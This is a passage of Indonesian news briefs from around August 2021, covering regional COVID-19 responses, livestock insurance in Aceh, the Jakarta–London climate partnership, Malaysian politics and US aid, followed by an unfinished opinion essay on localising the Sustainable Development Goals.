biasanya dilakukan dengan memanfaatkan teknologi digital. Keempat, transformasi SDM, terutama pola pikir (mindset) karyawan, serta penambahan skill baru (reskilling dan upskilling) agar sesuai dengan orientasi dan model bisnis baru perusahaan. "Dalam praktiknya, umumnya perusahaan melakukan beberapa macam jurus transformasi itu dalam program transformasi korporatnya. Tentu saja, disesuaikan dengan kebutuhan dan kemampuannya," kata Kemal Gani. (mth)

Jasindo: Sosialisasi Program Asuransi Ternak di Aceh Terus Digenjot

Banda Aceh, FNN - PT Asuransi Jasindo Syariah Cabang Aceh menyatakan belum ada warga atau kelompok tani ternak di provinsi ujung barat Indonesia itu yang mengikuti program nasional terkait Asuransi Usaha Ternak Sapi (AUTS), dalam upaya mengansuransi hewan ternaknya. “Sampai sekarang di Aceh belum ada yang berminat. Kita sudah berupaya melakukan sosialisasi tentang asuransi ternak ini, mungkin masyarakat kita belum ada yang tertarik,” kata Kepala PT Asuransi Jasindo Syariah Cabang Aceh Suhad di Banda Aceh, Rabu. Ia menjelaskan secara nasional program AUTS sudah berlangsung sejak tahun 2016. Beberapa provinsi di luar Aceh, program tersebut sudah berjalan. Banyak masyarakat yang mengansuransi ternaknya, baik sapi maupun kambing. Menurut dia, sapi atau ternak yang diasuransikan bukan ternak liar atau yang berkeliaran tanpa kandang, melainkan ternak yang masuk dalam program penggemukan. Pada 2019, pihaknya bersama BNI Syariah serta Dinas Peternakan Aceh telah menandatangani nota kesepahaman kerjasama tentang program penggemukan sapi di Aceh, sehingga program AUTS tersebut dinilai patut dicoba di Tanah Rencong itu. Namun, baik secara perorangan lembaga atau asosiasi ternak sapi belum ada yang mengonfirmasi ke pihaknya atau mengajukan permohonan kerjasama terkait program asuransi ternak. “Sampai saat ini kami tidak mendapatkan permohonan asuransi itu, baik dari masyarakat setempat atau melalui perbankan,” katanya. Sapi yang didaftarkan dalam program AUTS itu harus diberikan tanda semacam chip guna mempermudah pendataan dan klaim asuransi. Kemudian juga harus memiliki kandang, sekaligus di bawah pengawasan dinas kesehatan hewan. Suhad menilai persyaratan itu yang menjadi dasar masyarakat Aceh belum berminat mengansuransikan ternaknya, mengingat ternak sapi di Aceh masih banyak yang liar, bukan sapi program penggemukan. “Di Aceh saya lihat belum ada kandang sapi penggemukan itu, kalau di luar Aceh ada, seperti di Bandung ada, dan beberapa daerah lain,” katanya.(mth)

Pemkot Makassar Jadikan RSUD Daya untuk Rumah Sakit COVID-19

Makassar, FNN - Pemerintah Kota Makassar, Sulawesi Selatan menjadikan Rumah Sakit Umum Daerah (RSUD) Daya Makassar sebagai rumah sakit untuk menangani pasien COVID-19 di tengah melonjaknya kasus virus Corona baru itu. Wali Kota Makassar Moh Ramdhan Pomanto di Makassar, Rabu, mengatakan, melonjaknya kasus harian COVID-19 selama beberapa pekan terakhir ini menjadi perhatian serius dirinya dalam mengendalikan laju penularannya tersebut. "Semua upaya akan kita tempuh dan sekarang RSUD Daya juga akan kita tingkatkan fasilitasnya," ujarnya. Moh Ramdhan Pomanto mengatakan, salah satu upaya yang dilakukannya dalam mengatasi lonjakan kasus dengan menambah ketersediaan tempat tidur atau bed occupation rate (BOR) untuk perawatan pasien COVID-19. Dia menyatakan, ketersediaan tempat tidur menjadi hal penting yang harus dilakukan secara cepat karena data peningkatan kasus yang setiap harinya juga semakin tinggi. Selain ketersediaan tempat tidur, dirinya juga sudah memfungsikan KM Umsini sebagai tempat isolasi apung terpadu bagi warga yang suspek COVID-19, namun bergejala ringan. "Saya ingin meningkatkan kapasitas ketersediaan ruang tempat tidur BOR rumah sakit daya ini, untuk perawatan pasien covid, saya akan menambah sekitar 150 sampai 180-an tempat tidur," katanya. Walaupun demikian,kata Danny pihak rumah sakit tetap memaksimalkan perawatan bagi pasien biasa di rumah sakit tersebut. "Tetap, perawatan normal kita maksimalkan berjalan seperti biasa, tetapi khusus lantai tiga dan empat, kita gunakan sebagai tempat perawatan pasien COVID-19. Karena ruang covid yang berfungsi sekarang itu di lantai tiga dan empat yang selama ini memang digunakan merawat pasien Covid," terangnya. (mth)

Jakarta Siap Berkolaborasi dengan London Memperkuat Ketahanan Iklim

Jakarta, FNN - Gubernur DKI Jakarta Anies Baswedan mengatakan pihaknya siap berkolaborasi dengan Pemerintah Kota London, Inggris, untuk memperkuat ketahanan iklim di kedua kota metropolitan itu. "Kami di Jakarta siap berkolaborasi dan bertukar pengalaman antar-dua kota sehingga upaya untuk membuat kedua kota lebih berketahanan iklim akan menjadi lebih kuat," kata Anies di Balai Kota Jakarta, Rabu. Gubernur DKI mengatakan Jakarta dan London memiliki semangat yang sama dalam menghadapi krisis iklim meski kedua kota besar itu bukan merupakan "sister city". Sebagai sesama anggota C40 Cities, Jakarta terus mengerjakan gerakan mengatasi krisis iklim dengan menjadi kota berketahanan dan nol emisi. Penanganan krisis iklim, kata dia, dikerjakan dengan semangat kolaborasi berbagai pemangku kepentingan. "Terlebih di masa pandemi seperti ini, kami optimis Jakarta akan bangkit dan menjadi lebih tangguh dalam setiap situasi krisis," katanya. Adapun C40 Cities adalah jaringan kota-kota besar di seluruh dunia yang berkomitmen mengatasi perubahan iklim. Mantan Menteri Pendidikan dan Kebudayaan itu menambahkan Jakarta dan London memiliki karakteristik yang mirip. Keduanya merupakan sebuah wilayah metropolitan yang besar, hasil dari aglomerasi, tulang punggung perekonomian nasional dan diberikan posisi khusus sebagai ibu kota negara. Bukan hanya itu, kedua kota juga memiliki kesamaan diplomasi iklim di forum C40, sehingga ia siap berkolaborasi. Dalam bincang virtual bersama Wali Kota London Sadiq Khan, Selasa (3/8), Anies mengundang mitranya itu menjadi salah satu pembicara utama dalam "Jakarta Investment Forum" pada November 2021. "Ini merupakan salah satu komitmen Indonesia memperkuat kerja sama bilateral dengan Inggris, khususnya pada bidang perubahan iklim," katanya.(mth)

Peringati Ledakan Beirut, Paus Berjanji Kunjungi Lebanon

Vatican City, FNN - Pemimpin Gereja Katolik Paus Fransiskus mengungkapkan keinginannya yang "besar" untuk mengunjungi Lebanon. Dia mengatakan hal itu saat berbicara dalam audiensi umum pertamanya pada Rabu sejak menjalani operasi usus sebulan lalu dan pada peringatan setahun ledakan maut di Beirut. Paus berusia 84 tahun, yang tampak bugar dan mengimprovisasi sebagian dari isi pidatonya, juga mengharapkan keberhasilan bagi upaya Presiden Prancis Emmanuel Macron untuk mengumpulkan lebih dari 350 juta dolar (hampir Rp5 triliun) bantuan bagi Lebanon. "Warga Lebanon yang terhormat, keinginan saya untuk datang mengunjungi kalian sangat besar. Dan saya tidak akan bosan berdoa untuk kalian agar Lebanon kembali menjadi pesan persaudaraan, pesan perdamaian bagi seluruh Timur Tengah," kata Paus Fransiskus. Fransiskus berbicara di aula pertemuan Vatikan. Dia mengatakan banyak orang di Lebanon, yang terperosok dalam depresi keuangan dan menghadapi krisis sosial terburuk dalam 30 tahun, telah kehilangan "bahkan ilusi untuk hidup". Para donor harus membantu Lebanon "di jalan kebangkitan", kata dia. Paus menyerukan "gerakan nyata, bukan hanya kata-kata" karena banyak yang kehilangan rumah dan pekerjaan karena lelah dan tertipu. Menteri luar negeri Vatikan, Uskup Agung Paul Gallagher, mengatakan bulan lalu kunjungan Paus Fransiskus bisa dilakukan akhir tahun ini atau awal tahun depan. Dia memberi indikasi bahwa Paus bisa pergi ke Lebanon bahkan jika di sana tak ada pemerintahan. Fransiskus menghabiskan 11 hari di Rumah Sakit Gemelli Roma setelah menjalani operasi pada 4 Juli lalu untuk mengangkat sebagian usus besarnya karena ia menderita gangguan stenosis divertikular yang parah, atau penyempitan usus besar. Vatikan akan melanjutkan rencana perjalanan Paus Fransiskus pada 12-15 September ke Slovakia dan ibu kota Hongaria, Budapest. (mth)

Ketua DPD RI Dorong Pemberian Insentif untuk Sopir Angkutan Umum

Jakarta, FNN - Ketua Dewan Perwakilan Daerah (DPD) RI, AA LaNyalla Mahmud Mattalitti berharap pemerintah memberikan perhatian untuk sopir angkutan umum di berbagai daerah yang terdampak Kebijakan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM). “PPKM yang membatasi mobilitas masyarakat, termasuk pengetatan perjalanan, berimbas serius terhadap penghasilan para sopir angkutan umum akibat sepinya penumpang,” kata LaNyalla dalam keterangan tertulis, Rabu. LaNyalla mengatakan, sejak awal pandemi Covid-19, sopir angkutan umum sudah merasakan dampak yang cukup sangat signifikan. Namun PPKM yang diterapkan sebulan terakhir, membuat kehidupan para sopir angkutan umum semakin berat. Hal ini yang dirasakan oleh para sopir di Surabaya dan Jakarta. Menurut dia, banyak sopir angkutan umum yang menjerit. Karena PPKM menyebabkan mereka kesulitan menghidupi keluarga. “Penghasilan sopir angkot sekarang bahkan tidak cukup untuk bayar setoran ke juragan angkot, akibat penghasilannya yang sangat kecil,” tutur Senator asal Jawa Timur itu. Para sopir angkot saat ini hanya bisa mengantongi uang Rp 30 ribu - Rp 50 ribu dalam sehari. Padahal, sebelumnya mereka bisa mendapatkan minimal Rp 150 ribu dalam sehari. “Hasil yang didapat sopir itu belum termasuk untuk membeli bensin, dan kebutuhan para sopir angkot saat bekerja. Belum lagi para sopir ini juga harus menghadapi resiko tinggi penularan Covid-19 karena harus berinteraksi dengan penumpang,” ujarnya. Untuk mengurangi kesulitan para sopir angkutan umum, LaNyalla berharap agar pemerintah kembali memberikan insentif seperti yang telah dilakukan di awal pandemi. Apalagi banyak sopir angkot yang mengaku belum mendapat bantuan sosial dari pemerintah karena sejumlah kendala. Ia menyampaikan, perlu ada program yang sama, apalagi PPKM lebih berat daripada PSBB karena adanya penutupan jalan dan mobilitas yang lebih ketat. Insentif ini sangat dibutuhkan para sopir angkutan umum, sama halnya dengan pelaku usaha mikro yang tahun ini kembali mendapatkan insentif dari pemerintah. “Di tahun 2020 ketika kita menerapkan pembatasan sosial berskala besar (PSBB), pemerintah memberikan insentif sebesar Rp 600 ribu per bulan selama tiga bulan kepada 197 ribu sopir angkutan umum, termasuk kernet dan sopir taksi dengan total mencapai Rp 360 miliar melalui Polri,” katanya. Tidak hanya angkutan kota yang terdampak. Akibat pandemi, tidak sedikit pengusaha bus pariwisata gulung tikar. Di Daerah Istimewa Yogyakarta (DIY), sebagian besar pengusaha bus pariwisata menjual asetnya untuk bertahan hidup, sementara sopir dan kernetnya banyak yang beralih profesi menjadi kuli bangunan. Total sopir dan kernet bus pariwisata di DIY yang terimbas pandemi ada sebanyak 5.500 orang. “Pemerintah perlu mencari solusi terhadap nasib sopir dan kernet yang menjadi menganggur karena adanya kebijakan pengurangan mobilitas masyarakat,” pungkas LaNyalla. (mth)

Akademisi Uncen: Masyarakat Adat Adalah Mitra Strategis Pemerintah

Jakarta, FNN - Akademisi Universitas Cenderawasih (Uncen) Marinus Yaung menyatakan bahwa masyarakat adat adalah mitra strategis pemerintah dalam membuat kebijakan, khususnya terkait pembangunan. “Sebagai mitra strategis pemerintah, masyarakat adat dapat memastikan pembangunan sampai ke setiap pelosok negeri,” kata Marinus Yaung ketika dihubungi oleh ANTARA dari Jakarta, Rabu. Menurut Marinus, masyarakat adat memiliki konsep-konsep dan kearifan-kearifan lokal yang dapat mereka kombinasikan dengan tujuan pemerintah untuk membangun suatu wilayah. Apabila pemerintah melakukan pembangunan yang sesuai dengan konsep dan kearifan lokal, maka akan terbangun keselarasan antara penduduk lokal dengan pemerintah pusat. “Masyarakat adat sebenarnya merupakan fondasi utama dari pembangunan bangsa Indonesia,” tutur pengamat sosial dan politik tersebut. Oleh karena itu, tutur Marinus, negara tidak boleh mengabaikan adat sebagai mitra dalam pembangunan. Tanpa melibatkan masyarakat adat, pemerintah akan kesulitan merumuskan kebijakan atau pembangunan yang dapat menyentuh akar pribadi masyarakat di lapangan. Marinus juga mengaitkan penjelasannya dengan perubahan kedua Undang-Undang Otonomi Khusus (UU Otsus) Papua yang akan diimplementasikan selama 20 tahun ke depan. Ia menyatakan harapan agar pemerintah turut melibatkan masyarakat adat Papua dalam pembentukan Badan Khusus Percepatan Pembangunan Papua (BKP3). “Masyarakat adat Papua dapat memberi masukan berupa strategi terbaik untuk membangun Papua,” katanya. Ia yakin bahwa membuka dialog dengan masyarakat adat dapat membantu pemerintah untuk melakukan akselerasi pembangunan di wilayah-wilayah yang menjadi target untuk dikembangkan. Membuka ruang dialog kepada masyarakat adat juga dapat menciptakan keselarasan antara penduduk lokal dengan kebijakan yang akan diambil oleh pemerintah. “Kendala yang dihadapi oleh UP4B (Unit Percepatan Pembangunan Provinsi Papua dan Papua Barat, red) adalah kurangnya ruang dialog dengan masyarakat adat,” ucapnya. UP4B merupakan lembaga yang dibentuk oleh pemerintah pada tahun 2011, era pemerintahan Susilo Bambang Yudhoyono (SBY), dengan tujuan mengawal akselerasi pembangunan di Papua. Menurut Marinus, kurangnya ruang untuk melakukan dialog mengakibatkan kebijakan-kebijakan yang disusun oleh UP4B kurang efektif dan perlu peningkatan guna merangkul kepentingan-kepentingan penduduk lokal Papua. “Mari belajar dari masa lalu untuk menjadi lebih baik,” kata Marinus Yaung. (mth)

Kasad Lepas 100 Personel ke Amerika Serikat Latihan Garuda Airbone

Jakarta, FNN - Kepala Staf Angkatan Darat (Kasad) Jenderal TNI Andika Perkasa melepas 100 personel TNI Angkatan Darat ke Fort Bragg, North Carolina, Amerika Serikat, untuk mengikuti latihan bersama Garuda Airborne. "Ini merupakan kebanggaan bagi kami. Rekan-rekan semua beruntung bisa berlatih di Fort Bragg, North California yang merupakan tempat Komando Spesial Operasi yang pusat keberadaannya pasukan elit Angkatan Darat Amerika Serikat," kata Kasad di Jakarta, Rabu. Latihan bersama Garuda Airborne akan melibatkan Divisi 82 Airborne United States Army. Kegiatan tersebut selama 18 hari sebelum melakukan penerjunan bersama di Baturaja, Sumatera Selatan. Jenderal TNI Andika Perkasa menekankan setiap personel yang terlibat dalam latihan bersama Garuda Airborne mengusung misi menjalin networking atau jaringan antarpersonel sebab hubungan pertemanan pasti bermanfaat dan membantu pada saat menghadapi suatu masalah. "Jadi, rekan-rekan ingat misi kalian adalah networking. Saya ingin nanti semuanya berbicara tidak hanya penerjemah saja," ujar Jenderal TNI Andika Perkasa. Di bawah kepemimpinan Jenderal TNI Andika Perkasa, TNI AD kerap melaksanakan latihan militer bersama antarnegara guna membangun hubungan militer. Sebagai contoh dengan Angkatan Darat Amerika Serikat, kegiatan tersebut bukan kali pertama digelar. "Terima kasih atas kesempatan yang diberikan US Army untuk pelaksanaan latihan bersama Garuda Airborne. Kegiatan ini merupakan hal yang penting, dan saya harap mendapatkan pengalaman baru antara satu sama lain," ujarnya. Sementara itu, Wakil Komandan (Wadan) Yonif Para Raider 305/Tengkorak Mayor Inf. Eko Damuna Prasetyo menyebutkan 100 personel TNI AD yang terlibat merupakan gabungan 89 perwira, bintara, dan tamtama dari satuan Kostrad. "Kemudian 11 orang dari perwakilan setiap kodam," ujarnya. (sws)

BPJS Ketenagakerjaan Salurkan APD ke RS Latumeten

Ambon, FNN - BPJS Ketenagakerjaan menyalurkan bantuan Alat Pelindung Diri (APD) kepada tenaga kesehatan di RS tingkat II dr J.A. Latumeten Ambon. Kepala Cabang BPJS Ketenagakerjaan Maluku, Mangasa Laorensius Oloan, menyatakan, bantuan APD kepada tenaga kesehatan merupakan rangkaian promotif preventif di masa pandemi COVID-19. "Bantuan yang diberikan sebanyak 35 paket APD lengkap berupa baju hazmat, masker, pelindung wajah, sarung tangan, sepatu dan penutup kepala," katanya di Ambon, Rabu. Dikatakannya, bantuan tersebut terkait dengan kemitraan BPJS Ketenagakerjaan dengan RS tingkat II dr J.A. Latumeten Ambon. "Kemitraan yang dibangun terkait layanan kepesertaan, serta pelayanan pasien COVID-19. Kita berharap bantuan APD dapat membantu tenaga kesehatan dalam melayani pasien," katanya. Selain bantuan APD pihaknya juga memberikan bantuan berupa masker, vitamin, bantuan pangan sehat berupa paket sembako dan poster kesehatan kepada sejumlah perusahaan di Kota Ambon, Tual dan Masohi Bantuan katanya telah disalurkan ke sejumlah perusahaan yang telah mendaftarkan kepesertaan BPJAMSOSTEK serta tidak pernah mengajukan klaim Jaminan Kecelakaan Kerja. Kepala seksi tata usaha dan urusan dalam RS tingkat II dr J.A. Latumeten Ambon, Mayor Hermawan menyampaikan terima kasih atas bantuan APD dari BPJS Ketenagakerjaan. RS tingkat II dr J.A. Latumeten katanya merupakan salah satu RS rujukan COVID-19 di kota Ambon, sehingga bantuan ini sangat diperlukan tenaga kesehatan karena setiap hari bergantian menangani pasien COVID-19. "Dalam satu hari tenaga kesehatan kami menggunakan 50 APD, karena dari penerimaan pasien, ruang isolasi penunjang laboratorium hingga radiologi menggunakan APD," katanya. (sws)

Ketua MPR RI Meminta Kemenkes Tambah Pusat Isolasi Terpusat COVID-19

Jakarta, FNN - Ketua MPR RI Bambang Soesatyo (Bamsoet) meminta agar Kementerian Kesehatan (Kemenkes) menambah pusat isolasi terpusat guna menangani pasien COVID-19 di Bali, Yogyakarta, Malang, dan Solo. “Kementerian terkait harus meningkatkan upaya penanganan pasien COVID-19, seperti menambah pusat isolasi terpusat,” kata Bamsoet dalam keterangan tertulis yang diterima oleh ANTARA di Jakarta, Rabu. Permintaan akan penambahan isolasi terpusat merupakan respon dari Ketua MPR terkait empat daerah dengan angka kematian COVID-19 yang masih tinggi hingga saat ini. Menurut Bamsoet, dibanding melakukan kontrol melalui dokter puskesmas oleh pasien yang isolasi mandiri, akan lebih mudah untuk memantau perkembangan kesehatan dengan isolasi terpusat. Selain itu, Ketua MPR juga meminta Kementerian Kesehatan untuk memberi dukungan kepada Dinas Kesehatan di empat daerah tersebut. Terutama untuk meningkatkan kinerja dan mengevaluasi sistem penanganan ataupun perawatan pasien COVID-19 di setiap fasilitas kesehatan. “Khususnya di rumah sakit, sehingga dapat menekan atau menurunkan tingginya angka kematian,” kata Bamsoet. Banyaknya kasus penurunan kondisi pasien ketika melakukan isolasi mandiri juga menuai perhatian dari Bamsoet. Ia meminta agar Pemerintah Pusat segera membentuk satuan tugas yang melibatkan TNI-Polri untuk melakukan penjemputan pada pasien yang menjalani isolasi mandiri untuk dibawa ke isolasi terpusat. “Agar mendapat penanganan yang cepat dan tepat,” kata Bamsoet menambahkan. Pandemi COVID-19 tidak dapat dikendalikan dengan hanya mengandalkan Kementerian Kesehatan atau perangkat pemerintah. Bamsoet meyakini, bahwa dukungan dan partisipasi aktif dari seluruh masyarakat dalam setiap kebijakan ataupun program penanganan pandemi COVID-19, salah satunya adalah melalui program vaksinasi, dapat menekan angka kematian dari COVID-19. “Sampai saat ini, vaksin COVID-19 terbukti menurunkan risiko gejala berat,” ucapnya. Berdasarkan data dari Satuan Tugas (Satgas) Penanganan COVID-19, lebih dari 21 juta penduduk Indonesia telah divaksinasi dengan dosis kedua dan lebih dari 48 juta penduduk Indonesia telah divaksinasi dengan dosis pertama. (sws)

Muhyiddin Akan Buktikan Keabsahan Sebagai PM di Parlemen

Kuala Lumpur, FNN - Perdana Menteri Malaysia Muhyiddin Yassin mengatakan akan membuktikan keabsahannya sebagai perdana menteri pada sidang parlemen yang dijadwalkan berlangsung pada September mendatang. "Mosi percaya pada saya akan diajukan di DPR ketika parlemen bersidang pada September," ujar Muhyiddin dalam Pidato Khusus Perdana Menteri yang disiarkan secara langsung oleh lima televisi swasta dan pemerintah serta media sosial dari Putrajaya, Rabu. "Dia mengatakan kemarin dia menerima surat dari Yang di-Pertuan Agong yang memberitahu bahwa ada delapan anggota parlemen UMNO yang telah menulis surat kepada Ketua DPR bahwa mereka telah menarik dukungan kepada dirinya. "Dalam surat ini, ujar Muhyiddin, Yang di-Pertuan Agong telah mengutip dua ketentuan dalam Konstitusi Federal. "Pertama, Pasal 43 (2) (a) yaitu: "Yang di-Pertuan Agong pertama-tama harus menunjuk sebagai Perdana Menteri untuk memimpin Kabinet seorang anggota Dewan Rakyat yang menurut pendapatnya dapat memperoleh kepercayaan dari mayoritas anggota Dewan Rakyat". "Kedua, Pasal 43 (4) yaitu: "Jika Perdana Menteri tidak lagi memiliki kepercayaan dari mayoritas anggota Dewan Rakyat, maka Perdana Menteri akan mengundurkan diri dari Kabinet kecuali atas permintaannya Parlemen dibubarkan oleh Yang di-Pertuan Agong". "Sehubungan dengan itu, ujar dia, dirinya telah dipanggil untuk menghadap Yang di-Pertuan Agong Rabu (4/8) pukul 11.00 waktu setempat. "Dalam upacara tadi pagi, saya sampaikan kepada Yang di-Pertuan Agong bahwa saya telah menerima sejumlah surat pernyataan dari anggota DPR yang menyatakan bahwa saya masih memiliki kepercayaan dari mayoritas anggota DPR," katanya. "Demikian juga pengunduran dirinya berdasarkan Pasal 43 (4) Konstitusi Federal adalah non-konsekuensial atau tidak ada alasan. "Namun, saya juga menyadari posisi saya sebagai Perdana Menteri sering dipertanyakan," katanya. "Karena itu, ujar dia, pihaknya memberitahu Yang di-Pertuan Agong bahwa dirinya akan menentukan legitimasi sebagai Perdana Menteri di Parlemen. "Dengan cara ini, posisi saya sebagai Perdana Menteri dan Perikatan Nasional sebagai pemerintah yang berkuasa akan dapat ditentukan sesuai dengan hukum dan konstitusi," katanya. "Muhyiddin mengatakan Yang di-Pertuan Agong telah menyetujui usulnya. "Sementara itu, Kabinet dan perangkat pemerintahan akan tetap berfungsi menjalankan amanah dan tanggung jawab kepada masyarakat dan negara, khususnya dalam penanganan pandemi COVID-19. "Saya akan memastikan bahwa program vaksinasi yang sedang berjalan tidak akan terganggu dan tetap dilaksanakan sesuai jadwal," katanya. "Pada kesempatan tersebut Muhyiddin menyindir ada beberapa pihak yang tidak senang dengan dirinya karena tuntutannya tidak dipenuhi. "Saya tahu bahwa mereka kurang senang dengan desakan saya untuk tidak memenuhi beberapa tuntutan mereka. Ini termasuk mendesak saya untuk campur tangan dalam urusan pengadilan untuk membebaskan beberapa orang yang sedang dituntut karena pelanggaran pidana," katanya. Muhyiddin mengatakan dia juga dituduh tidak menaati Raja padahal apa yang dia lakukan hanya untuk menjaga supremasi konstitusi dan mempertahankan martabat institusi Raja Berkonstitusi. "Saya tidak akan mengorbankan prinsip saya dan melepaskan sumpah jabatan saya untuk memenuhi semua tugas dengan jujur, setia kepada Raja dan Bangsa serta menjaga, melindungi dan membela konstitusi," katanya. (sws)

Amerika Serikatt Berikan Dana Tambahan USD 30 Juta untuk Bantuan Mendesak COVID-19

Jakarta, FNN - Pemerintah Amerika Serikat pada Selasa mengumumkan dana tambahan senilai 30 juta dolar AS untuk bantuan mendesak COVID-19 di Indonesia. Bantuan itu untuk membeli oksigen tambahan, kolaborasi terkait cara meningkatkan produksi oksigen lokal, serta penyediaan obat-obatan untuk merawat pasien COVID-19 dan menyelamatkan nyawa, seperti disampaikan Kedutaan Besar AS di Jakarta dalam keterangan tertulis, Selasa. Bantuan yang disalurkan melalui Badan Pembangunan Internasional AS (USAID) itu akan meningkatkan pelaksanaan program vaksinasi dengan mendukung penyediaan rantai pasokan dingin yang kuat untuk distribusi, mendukung kesiapan fasilitas vaksinasi, serta membantu menyebarluaskan informasi kesehatan dalam rangka mendidik masyarakat untuk menurunkan keraguan terhadap vaksin. "Kami tetap berkomitmen terhadap kemitraan dengan pemerintah dan rakyat Indonesia di masa sulit ini. Bantuan kami akan membantu memastikan bahwa lebih banyak orang divaksin dan dilindungi dari penyakit mematikan ini dan memperkuat fasilitas kesehatan sehingga memungkinkan mereka untuk terus memberikan perawatan dan pelayanan kritis untuk pasien COVID-19," kata Duta Besar AS untuk Indonesia Sung Y. Kim. "Dukungan ini menambah bantuan kami sebelumnya untuk penyediaan vaksin, meningkatkan pengujian dan pelacakan, meningkatkan perawatan, serta memberikan hasil yang akurat dan tepat waktu tentang informasi pandemi agar semua orang tetap aman," ujarnya. Dukungan tambahan melalui American Rescue Plan Act itu membuat total bantuan COVID-19 dari AS untuk Indonesia menjadi sekitar 77 juta dolar AS dalam bentuk pendanaan, perlengkapan, dan dukungan teknis sejak awal pandemi. Pemerintah AS, melalui USAID dan lembaga-lembaga pemerintah AS lainnya, telah bermitra dengan para pakar kesehatan Indonesia untuk meningkatkan kapasitas laboratorium, pengawasan penyakit, dan respons cepat. Selain itu, pemerintah AS telah menyumbangkan 1.000 ventilator buatan Amerika yang saat ini digunakan di 600 rumah sakit untuk membantu menyelamatkan nyawa dan memulihkan kesehatan lebih banyak pasien. Bermitra dengan Pemerintah Indonesia dan UNICEF melalui COVAX Advance Market Commitment (COVAX AMC), Amerika Serikat juga telah mengirimkan total 8 juta dosis vaksin Moderna untuk masyarakat Indonesia. COVAX AMC adalah sebuah inisiatif global untuk mendukung akses yang setara terhadap vaksin COVID-19. Amerika Serikat telah memberikan komitmen bersejarah dengan kontribusi senilai empat miliar dolar AS dari rakyat Amerika melalui Gavi, the Vaccine Alliance, untuk COVAX AMC. Indonesia sendiri telah menerima lebih dari 19 juta dosis vaksin melalui COVAX. Selama 20 tahun terakhir, USAID telah menginvestasikan lebih dari satu miliar dolar AS di sektor kesehatan Indonesia, membangun pondasi yang kuat untuk respons COVID-19 yang lebih efektif. (sws)

Pentingnya Memasyarakatkan Tujuan Pembangunan Berkelanjutan

Oleh Abdurrahman Syebubakar PADA tanggal 25 September 2015, 193 negara anggota Perserikatan Bangsa-Bangsa (PBB) termasuk Indonesia secara resmi mengadopsi SDGs (Sustainable Development Goals/Tujuan Pembangunan Berkelanjutan) guna mengakhiri kemiskinan dalam segala bentuk dan dimensinya serta menjamin kemakmuran bagi semua. SDGs dibangun di atas landasan nilai-nilai dasar hak asasi manusia, kesetaraan dan keberlanjutan pembangunan. Serangkaian tujuan dalam SDGs merupakan visi baru masyarakat global untuk masa depan yang lebih baik, yang mencakup empat dimensi utama pembangunan dengan pendekatan holistik, yaitu pembangunan sosial inklusif, pembangunan ekonomi inklusif, kelestarian lingkungan, serta perdamaian dan keamanan. Pendekatan tersebut konsisten dengan prinsip-prinsip Deklarasi Milenium tahun 2000 yang menjamin “kebebasan positif” dan “kebebasan negatif” generasi sekarang dan yang akan datang. Contoh kebebasan positif, di antaranya, bebas untuk hidup layak dan sehat, serta meraih pendidikan berkualitas. Sementara, bebas dari rasa takut, kemiskinan, kelaparan dan berbagai bentuk penderitaan lainnya, merupakan bagian dari kebebasan negatif. Melanjutkan dan bertujuan menuntaskan MDGs (Millennium Development Goals/Tujuan Pembangunan Milenium) yang juga lahir dari Deklarasi Milenium dan berakhir tahun 2015, SDGs terdiri dari 17 tujuan dan 169 target spesifik yang harus dicapai selama 15 tahun hingga 2030. SDGs berfungsi ganda di pelbagai tingkat. Sebagai alat untuk mencapai tujuan pembangunan, sekaligus menjadi tujuan yang hendak dicapai dengan target-target spesifik. SDGs dapat menjadi acuan dalam penentuan prioritas kebijakan dan program pembangunan nasional dan daerah. Transparansi dan multidimensionalitas - nya membantu pemerintah untuk menggalang dukungan luas dan memobilisasi kemitraan multipihak guna mengatasi pelbagai isu sentral pembangunan. Hal ini ditegaskan dalam laporan Sustainable Solutions Networks PBB 2013 bahwa SDGs "bersifat universal dan berlaku untuk semua negara, pemerintah pusat dan daerah, dunia usaha dan masyarakat sipil". Penekanan SDGs pada paradigma pembangunan manusia yang menempatkan manusia sebagai pusat pembangunan, seyogyanya menggeser orientasi kebijakan di luar narasi pertumbuhan ekonomi yang telah mendominasi agenda pembangunan selama ini. Pertumbuhan ekonomi dibutuhkan sejauh berkeadilan dan memberikan kontribusi terhadap kemakmuran seluruh rakyat, terutama rakyat kecil. SDGs juga dapat digunakan sebagai kerangka kerja dan instrumen praktis untuk memantau pelaksanaan kebijakan dan strategi pembangunan guna menjamin akuntabilitas pelaksana kebijakan di pelbagai tingkat. SDGs berfungsi sebagai “kartu penilaian” untuk membandingkan pencapaian hasil pembangunan di daerah sehingga terjadi skala prioritas dalam proses perencanaan dan alokasi anggaran. Sebagai tujuan, SDGs bermakna setiap warga negara, setiap tingkat pemerintahan dan pemangku kepentingan lainnya---institusi negara, swasta, media, perguruan tinggi, lembaga pemikir/riset dan masyarakat sipil--- mengerahkan potensi dan upayanya untuk mencapai tujuan dan target target SDGs. SDGs, sebagai agenda global, meniscayakan kontekstualisasi sesuai dengan kondisi di pusat dan daerah. SDGs dapat diselaraskan dengan kebijakan dan strategi pembangunan nasional dan daerah termasuk Rencana Pembangunan Jangka Panjang dan Menengah, Rencana Kerja (tahunan) Pembangunan, Rencana Pembangunan Sektoral, Anggaran Tahunan, serta dokumen kebijakan dan rencana aksi lainnya. Di era otonomi daerah, sebagian besar tanggung jawab dan keputusan penting terkait pencapaian SDGs berada di tangan pemerintah daerah. Seperti pengalaman pelaksanaan MDGs di berbagai negara, pencapaian tujuan dan sasarannya tergantung pada otoritas lokal dan keterlibatan pemangku kepentingan lainnya. Peran penting pemerintah daerah dalam SDGs ditekankan oleh Panel Tingkat Tinggi (High Level Panel 2013) tentang Agenda Pembangunan Paska 2015 dalam laporannya kepada Sekretaris Jenderal PBB. Dalam Laporan tersebut disebutkan bahwa masalah paling mendesak adalah mendorong pendekatan lokal dan geografis untuk mempercepat pencapaian SDGs. Hal ini dapat dilakukan dengan memilah data berdasarkan lokasi, dan memberikan peran yang lebih besar kepada pemerintah daerah untuk menentukan prioritas, melaksanakan rencana dan pemantauan serta bermitra dengan dunia usaha dan masyarakat. Sebagai garda terdepan (front-liner), yang paling dekat dengan rakyat, pemerintah daerah berada dalam posisi paling tepat untuk mengidentifikasi dan merespon kebutuhan masyarakat melalui penyediaan layanan publik. Terlebih dalam konteks desentralisasi dan demokratisasi Indonesia di mana pemerintah daerah memiliki mandat politik melalui pilkada langsung. Aset politik pemerintah daerah berupa pemilihan langsung dan desentralisasi fiskal yang tinggi berpotensi meningkatkan penyediaan dan kualitas layanan publik sehingga tercipta kesejahteraan rakyat, khususnya kelompok miskin, rentan dan marjinal. Namun, defisit kapasitas di tingkat lokal di pelbagai bidang – dalam perencanaan, penganggaran, 